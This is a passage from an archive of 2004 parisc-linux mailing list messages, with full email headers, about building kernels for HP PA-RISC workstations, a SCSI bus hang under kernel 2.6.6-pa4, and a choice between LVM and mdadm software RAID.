> wondering.  What I really want is one modular kernel config I can use
> for the three machines.

The main differences between c360 (ccio+dino) and j5k/c3k (sba+lba drivers)
are not available as modules. Just build them all into one kernel
and it will work fine.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Elliott Potter <epotter@eep.burdell.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SCSI hang in 2.6.6-pa4
Date: Thu, 20 May 2004 22:31:25 -0500 (EST)
Lines: 93
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0405202222240.18175@trillian.uni>
References: <Pine.LNX.4.58.0405191939460.30587@trillian.uni>
	<40AC8294.7030303@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN;
  charset=US-ASCII
X-Trace: ger.gmane.org 1416623448 9419 80.91.229.3 (22 Nov 2014 02:30:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 Elliott Potter <mailinglist@eep.burdell.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 10940 invoked by uid 65534); 21 May 2004 02:33:49 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx002) with SMTP; 21 May 2004 04:33:49 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id BFECA3BDF2; Thu, 20 May 2004 20:33:19 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from trillian.uni (dsl027-162-176.atl1.dsl.speakeasy.net
	[216.27.162.176])
	by free.linux.hp.com (Postfix) with ESMTP id 738EE3BDCA
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 May 2004 20:33:16 -0600 (MDT)
Original-Received: from trillian.uni (localhost [127.0.0.1])
	by trillian.uni (8.12.11/8.12.11) with ESMTP id i4L3VQbo021371;
	Thu, 20 May 2004 22:31:26 -0500
Original-Received: from localhost (epotter@localhost)
	by trillian.uni (8.12.11/8.12.11/Submit) with ESMTP id i4L3VPBj021368; 
	Thu, 20 May 2004 22:31:26 -0500
X-Authentication-Warning: trillian.uni: epotter owned process doing -bs
X-X-Sender: epotter@trillian.uni
In-Reply-To: <40AC8294.7030303@tiscali.be>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21642

On Thu, 20 May 2004, Joel Soete wrote:

> Hello Elliott,
>
> Elliott Potter wrote:
> > Hello all,
> >
> > I've got a J5000 that appeared to work mostly OK under 2.4.25-pa.
> >
>
> J5000 is of the b2k, c3k family isn't it?
> (read on openpa:"...They are basically the bigger brothers of the
> C3000/C3600 et al, featuring better expandability. ...")

They appear to be similar.  Maybe someone can run lspci -v on a c3k and
see what you get for the SCSI host adapter ... I get

00:0f.0 SCSI storage controller: LSI Logic / Symbios Logic 53c896 (rev 04)
   Subsystem: LSI Logic / Symbios Logic: Unknown device 1000
   Flags: bus master, medium devsel, latency 255, IRQ 65
   I/O ports at 0900 [size=256]
   Memory at f4005000 (64-bit, non-prefetchable) [size=1K]
   Memory at f4002000 (64-bit, non-prefetchable) [size=8K]
   Capabilities: [40] Power Management version 1

00:0f.1 SCSI storage controller: LSI Logic / Symbios Logic 53c896 (rev 04)
   Subsystem: LSI Logic / Symbios Logic: Unknown device 1000
   Flags: bus master, medium devsel, latency 255, IRQ 65
   I/O ports at 0900 [size=256]
   Memory at f4005000 (64-bit, non-prefetchable) [size=1K]
   Memory at f4002000 (64-bit, non-prefetchable) [size=8K]
   Capabilities: [40] Power Management version 1


> > I just put 2.6.6-pa4 on there and when I boot, the machine hangs:
> >
> umm 32bit or 64bit kernel?

32 bit?  I assume.  If it was 64 bit it wasn't on purpose.  Under CPU
selection I chose the PA7000 option (or whatever the first one on the
list was).

> Personaly, I just test 2.6.6-pa2 (32 and 64 bits) on my b2k without
> pb but with the c3k default config file that I found under
> arch/parisc/configs/c3000_defconfig. (make mrproper then) I copy this
> as .config and 'make oldconfig' before 'make vmlinux' (default
> 64bits).
> Did you used the same?

I fiddled with the config a bit, but not a lot.  I did not use 64 bits.
Then make vmlinux, etc.

> > [...]
> > sym0: <896> rev 0x4 at pci 0000:00:0f.0 irq 65
> > sym0: No NVRAM, ID 7, Fast-40, SE, parity checking
> > sym0: SCSI BUS has been reset.
> > scsi0 : sym-2.1.18j
> > sym0:0:0: ABORT operation started.
> > sym0:0:0: ABORT operation timed-out.
> > sym0:0:0: DEVICE RESET operation started.
> > sym0:0:0: DEVICE RESET operation timed-out.
> > sym0:0:0: BUS RESET operation started.
> > sym0:0:0: BUS RESET operation timed-out.
> > sym0:0:0: HOST RESET operation started.
> > sym0: SCSI BUS has been reset.
> > <hang>
> >
>
> > ... any hints on this?  Could it be related to the TCQ problem someone
> > had with the 53c700 a few months ago?
> >
> Do you see this one listed in your found device list?

Nope.  Different chip, and also (as I read a bit more about it since my
first post) a different brand of hard drive, which may make a
difference.  Ah well.

> But it is a strange coincidence, the description of your pb is similar
> to the one that Stephano encounter with its c3k
> (http://lists.debian.org/debian-hppa/2004/05/msg00066.html) but with 2.4.
> So it would be surprising that it is the same cause; never the less if
> you used usb kbd/mouse can you try a serial console?

In fact there is no keyboard/mouse/head on the machine, so if it's not
going to boot I have to use serial console to see the messages.
--
Elliott
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Installing on RP5430...PALO problem
Date: Sat, 22 May 2004 19:10:27 -0600
Lines: 38
Approved: news@gmane.org
Message-ID: <20040523011027.GA16879@colo.lackof.org>
References: <20040520132751.GA23823@colo.lackof.org>
	<20040521083816.ECD1F38863@mailserver.photonicmaterials.com>
	<20040521134552.GA13478@colo.lackof.org>
	<40AE41F1.3050400@tiscali.be>
	<20040522025819.GB25166@colo.lackof.org>
	<40AFBE60.7030306@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623448 9422 80.91.229.3 (22 Nov 2014 02:30:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <joel.soete@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 7974 invoked by uid 65534); 23 May 2004 01:10:45 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx001) with SMTP; 23 May 2004 03:10:45 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 1E9733BE34; Sat, 22 May 2004 19:10:32 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id B3B223BE2B
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 22 May 2004 19:10:28 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id EE33C298092; Sat, 22 May 2004 19:10:27 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 16841-02; Sat, 22 May 2004 19:10:27 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 35885298063; Sat, 22 May 2004 19:10:27 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <40AFBE60.7030306@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21643

On Sat, May 22, 2004 at 08:56:00PM +0000, Joel Soete wrote:
> Yep, sorry just a bit lazy but I was very surprise by this advise?

np. thanks.

> >>imho if you don't have hw raid array (no clue about hp2100 sorry) why 
> >>not building a sw raid5 for an economical and robust disk array (with 
> >>severall scsi controler it is even possible to play with striping: raid0 
> >>iirc) which you include in a vg that you can easily manage with 
> >>different lv?
> >
> >mdadm will allow one to build raid0/1/3/5 also.
> > 
> >
> yes but my question was in fact about lvm above sw raid array: I don't 
> have any more the opportunity to test it?

You are welcome to use LVM. People I trust tell me not to use it.
And my experience with HPUX LVM has left a bad taste.

Is there something you want to do with LVM that can't be
done with MD devices? (and using mdadm to manage them)
I'm just curious since mdadm seems to work nicely.

> (the only one I had some time ago was an old fc scsi disk array with the 
> n4k and its hp tachion fc interface but you know the pb I encounter ;)

yes - I vaguely remember. I depend on the mailing list
archive to "remember" deails though.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.6.6-pa4 boots on C3600
Date: Sat, 22 May 2004 23:24:50 -0600
Lines: 12
Approved: news@gmane.org
Message-ID: <20040523052450.GA20619@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623448 9425 80.91.229.3 (22 Nov 2014 02:30:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:48 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 18018 invoked by uid 65534); 23 May 2004 05:25:10 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx055) with SMTP; 23 May 2004 07:25:10 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 99C803BE3B; Sat, 22 May 2004 23:24:59 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 8DDE23BE38
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 22 May 2004 23:24:56 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id D9A02298092
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 22 May 2004 23:24:50 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 20271-05 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 22 May 2004 23:24:50 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 73DA2298063; Sat, 22 May 2004 23:24:50 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21644

FYI.
2.6.6-pa4 boots/works fine on my C3600.

And I like the new palo 1.5 - kudos again Paul/James!

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Marnix van den Berg <marnix.vd.berg@hccnet.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SCSI hang in 2.6.6-pa4
Date: Fri, 21 May 2004 09:34:42 +0200
Lines: 272
Approved: news@gmane.org
Message-ID: <40ADB112.7090107@hccnet.nl>
References: <Pine.LNX.4.58.0405191939460.30587@trillian.uni>	<40AC8294.7030303@tiscali.be>
	<Pine.LNX.4.58.0405202222240.18175@trillian.uni>
Reply-To: marnix.vd.berg@hccnet.nl
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623449 9428 80.91.229.3 (22 Nov 2014 02:30:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:49 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 15697 invoked by uid 65534); 21 May 2004 07:32:25 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx011) with SMTP; 21 May 2004 09:32:25 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E01B33BDF8; Fri, 21 May 2004 01:32:00 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp30.hccnet.nl (smtp30.hccnet.nl [62.251.0.40])
	by free.linux.hp.com (Postfix) with ESMTP id 076563BDD8
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 21 May 2004 01:31:57 -0600 (MDT)
Original-Received: from hccnet.nl by smtp30.hccnet.nl
	via fia65-26.dsl.hccnet.nl [62.251.26.65] with ESMTP for
	<parisc-linux@lists.parisc-linux.org>
	id i4L7VuMh015083 (8.12.10/2.04); Fri, 21 May 2004 09:31:56 +0200 (MEST)
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
	rv:1.4) Gecko/20030624 Netscape/7.1 (ax)
X-Accept-Language: en-us, en
In-Reply-To: <Pine.LNX.4.58.0405202222240.18175@trillian.uni>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21645

On my headless c3k I get:

0000:00:0f.0 SCSI storage controller: LSI Logic / Symbios Logic 53c896 
(rev 04)
         Subsystem: LSI Logic / Symbios Logic: Unknown device 1000
         Flags: bus master, medium devsel, latency 255, IRQ 65
         I/O ports at 0900
         Memory at f4005000 (64-bit, non-prefetchable) [size=1K]
         Memory at f4002000 (64-bit, non-prefetchable) [size=8K]
         Capabilities: [40] Power Management version 1

0000:00:0f.1 SCSI storage controller: LSI Logic / Symbios Logic 53c896 
(rev 04)
         Subsystem: LSI Logic / Symbios Logic: Unknown device 1000
         Flags: bus master, medium devsel, latency 255, IRQ 65
         I/O ports at 0800
         Memory at f4004000 (64-bit, non-prefetchable) [size=1K]
         Memory at f4000000 (64-bit, non-prefetchable) [size=8K]
         Capabilities: [40] Power Management version 1

During boot-up:

kernel: sym0: <896> rev 0x4 at pci 0000:00:0f.0 irq   65
kernel: sym0: No NVRAM, ID 7, Fast-40, SE, parity checking
kernel: sym0: SCSI BUS has been reset.
kernel: sym0: SCSI BUS mode change from SE to SE.
kernel: sym0: SCSI BUS has been reset.
kernel: scsi0 : sym-2.1.18i
kernel: sym1: <896> rev 0x4 at pci 0000:00:0f.1 irq 65
kernel: sym1: No NVRAM, ID 7, Fast-40, LVD, parity checking
kernel: sym1: SCSI BUS has been reset.
kernel: scsi1 : sym-2.1.18i
kernel:   Vendor: QUANTUM   Model: ATLAS10K-9LVD     Rev: HP06
hpux kernel:   Type:   Direct-Access            ANSI SCSI revision: 03
kernel: sym1:6:0: tagged command queuing enabled, command queue depth 16.
kernel: st: Version 20040226, fixed bufsize 32768, s/g segs 256
kernel: sym1:6: FAST-40 WIDE SCSI 80.0 MB/s ST (25.0 ns, offset 31)
kernel: SCSI device sda: 17773524 512-byte hdwr sectors (9100 MB)
kernel: SCSI device sda: drive cache: write back

This is with 2.6.6-rc1-pa0, haven't had time to upgrade my kernel lately.


Elliott Potter wrote:

 > On Thu, 20 May 2004, Joel Soete wrote:
 >
 >
 >> Hello Elliott,
 >>
 >> Elliott Potter wrote:
 >>
 >>> Hello all,
 >>>
 >>> I've got a J5000 that appeared to work mostly OK under 2.4.25-pa.
 >>>
 >>
 >> J5000 is of the b2k, c3k family isn't it?
 >> (read on openpa:"...They are basically the bigger brothers of the
 >> C3000/C3600 et al, featuring better expandability. ...")
 >
 >
 >
 > They appear to be similar.  Maybe someone can run lspci -v on a c3k and
 > see what you get for the SCSI host adapter ... I get
 >
 > 00:0f.0 SCSI storage controller: LSI Logic / Symbios Logic 53c896 
(rev 04)
 >    Subsystem: LSI Logic / Symbios Logic: Unknown device 1000
 >    Flags: bus master, medium devsel, latency 255, IRQ 65
 >    I/O ports at 0900 [size=256]
 >    Memory at f4005000 (64-bit, non-prefetchable) [size=1K]
 >    Memory at f4002000 (64-bit, non-prefetchable) [size=8K]
 >    Capabilities: [40] Power Management version 1
 >
 > 00:0f.1 SCSI storage controller: LSI Logic / Symbios Logic 53c896 
(rev 04)
 >    Subsystem: LSI Logic / Symbios Logic: Unknown device 1000
 >    Flags: bus master, medium devsel, latency 255, IRQ 65
 >    I/O ports at 0900 [size=256]
 >    Memory at f4005000 (64-bit, non-prefetchable) [size=1K]
 >    Memory at f4002000 (64-bit, non-prefetchable) [size=8K]
 >    Capabilities: [40] Power Management version 1
 >
 >
 >
 >>> I just put 2.6.6-pa4 on there and when I boot, the machine hangs:
 >>>
 >>
 >> umm 32bit or 64bit kernel?
 >
 >
 >
 > 32 bit?  I assume.  If it was 64 bit it wasn't on purpose.  Under CPU
 > selection I chose the PA7000 option (or whatever the first one on the
 > list was).
 >
 >
 >> Personaly, I just test 2.6.6-pa2 (32 and 64 bits) on my b2k without
 >> pb but with the c3k default config file that I found under
 >> arch/parisc/configs/c3000_defconfig. (make mrproper then) I copy this
 >> as .config and 'make oldconfig' before 'make vmlinux' (default
 >> 64bits).
 >> Did you used the same?
 >
 >
 >
 > I fiddled with the config a bit, but not a lot.  I did not use 64 bits.
 > Then make vmlinux, etc.
 >
 >
 >>> [...]
 >>> sym0: <896> rev 0x4 at pci 0000:00:0f.0 irq 65
 >>> sym0: No NVRAM, ID 7, Fast-40, SE, parity checking
 >>> sym0: SCSI BUS has been reset.
 >>> scsi0 : sym-2.1.18j
 >>> sym0:0:0: ABORT operation started.
 >>> sym0:0:0: ABORT operation timed-out.
 >>> sym0:0:0: DEVICE RESET operation started.
 >>> sym0:0:0: DEVICE RESET operation timed-out.
 >>> sym0:0:0: BUS RESET operation started.
 >>> sym0:0:0: BUS RESET operation timed-out.
 >>> sym0:0:0: HOST RESET operation started.
 >>> sym0: SCSI BUS has been reset.
 >>> <hang>
 >>>
 >>> ... any hints on this?  Could it be related to the TCQ problem someone
 >>> had with the 53c700 a few months ago?
 >>>
 >>
 >> Do you see this one listed in your found device list?
 >
 >
 >
 > Nope.  Different chip, and also (as I read a bit more about it since my
 > first post) a different brand of hard drive, which may make a
 > difference.  Ah well.
 >
 >
 >> But it is a strange coincidence, the description of your pb is similar
 >> to the one that Stephano encounter with its c3k
 >> (http://lists.debian.org/debian-hppa/2004/05/msg00066.html) but with 
2.4.
 >> So it would be surprising that it is the same cause; never the less if
 >> you used usb kbd/mouse can you try a serial console?
 >
 >
 >
 > In fact there is no keyboard/mouse/head on the machine, so if it's not
 > going to boot I have to use serial console to see the messages.
 > --
 > Elliott
 > _______________________________________________
 > parisc-linux mailing list
 > parisc-linux@lists.parisc-linux.org
 > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


Elliott Potter wrote:

> On Thu, 20 May 2004, Joel Soete wrote:
> 
> 
>>Hello Elliott,
>>
>>Elliott Potter wrote:
>>
>>>Hello all,
>>>
>>>I've got a J5000 that appeared to work mostly OK under 2.4.25-pa.
>>>
>>
>>J5000 is of the b2k, c3k family isn't it?
>>(read on openpa:"...They are basically the bigger brothers of the
>>C3000/C3600 et al, featuring better expandability. ...")
> 
> 
> They appear to be similar.  Maybe someone can run lspci -v on a c3k and
> see what you get for the SCSI host adapter ... I get
> 
> 00:0f.0 SCSI storage controller: LSI Logic / Symbios Logic 53c896 (rev 04)
>    Subsystem: LSI Logic / Symbios Logic: Unknown device 1000
>    Flags: bus master, medium devsel, latency 255, IRQ 65
>    I/O ports at 0900 [size=256]
>    Memory at f4005000 (64-bit, non-prefetchable) [size=1K]
>    Memory at f4002000 (64-bit, non-prefetchable) [size=8K]
>    Capabilities: [40] Power Management version 1
> 
> 00:0f.1 SCSI storage controller: LSI Logic / Symbios Logic 53c896 (rev 04)
>    Subsystem: LSI Logic / Symbios Logic: Unknown device 1000
>    Flags: bus master, medium devsel, latency 255, IRQ 65
>    I/O ports at 0900 [size=256]
>    Memory at f4005000 (64-bit, non-prefetchable) [size=1K]
>    Memory at f4002000 (64-bit, non-prefetchable) [size=8K]
>    Capabilities: [40] Power Management version 1
> 
> 
> 
>>>I just put 2.6.6-pa4 on there and when I boot, the machine hangs:
>>>
>>
>>umm 32bit or 64bit kernel?
> 
> 
> 32 bit?  I assume.  If it was 64 bit it wasn't on purpose.  Under CPU
> selection I chose the PA7000 option (or whatever the first one on the
> list was).
> 
> 
>>Personaly, I just test 2.6.6-pa2 (32 and 64 bits) on my b2k without
>>pb but with the c3k default config file that I found under
>>arch/parisc/configs/c3000_defconfig. (make mrproper then) I copy this
>>as .config and 'make oldconfig' before 'make vmlinux' (default
>>64bits).
>>Did you used the same?
> 
> 
> I fiddled with the config a bit, but not a lot.  I did not use 64 bits.
> Then make vmlinux, etc.
> 
> 
>>>[...]
>>>sym0: <896> rev 0x4 at pci 0000:00:0f.0 irq 65
>>>sym0: No NVRAM, ID 7, Fast-40, SE, parity checking
>>>sym0: SCSI BUS has been reset.
>>>scsi0 : sym-2.1.18j
>>>sym0:0:0: ABORT operation started.
>>>sym0:0:0: ABORT operation timed-out.
>>>sym0:0:0: DEVICE RESET operation started.
>>>sym0:0:0: DEVICE RESET operation timed-out.
>>>sym0:0:0: BUS RESET operation started.
>>>sym0:0:0: BUS RESET operation timed-out.
>>>sym0:0:0: HOST RESET operation started.
>>>sym0: SCSI BUS has been reset.
>>><hang>
>>>
>>>... any hints on this?  Could it be related to the TCQ problem someone
>>>had with the 53c700 a few months ago?
>>>
>>
>>Do you see this one listed in your found device list?
> 
> 
> Nope.  Different chip, and also (as I read a bit more about it since my
> first post) a different brand of hard drive, which may make a
> difference.  Ah well.
> 
> 
>>But it is a strange coincidence, the description of your pb is similar
>>to the one that Stephano encounter with its c3k
>>(http://lists.debian.org/debian-hppa/2004/05/msg00066.html) but with 2.4.
>>So it would be surprising that it is the same cause; never the less if
>>you used usb kbd/mouse can you try a serial console?
> 
> 
> In fact there is no keyboard/mouse/head on the machine, so if it's not
> going to boot I have to use serial console to see the messages.
> --
> Elliott
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] K460
Date: Fri, 21 May 2004 08:43:48 +0000
Lines: 45
Approved: news@gmane.org
Message-ID: <40ADC144.30101@tiscali.be>
References: <000801c43e63$b0e63da0$f6e40718@mxdogxp>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623449 9431 80.91.229.3 (22 Nov 2014 02:30:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
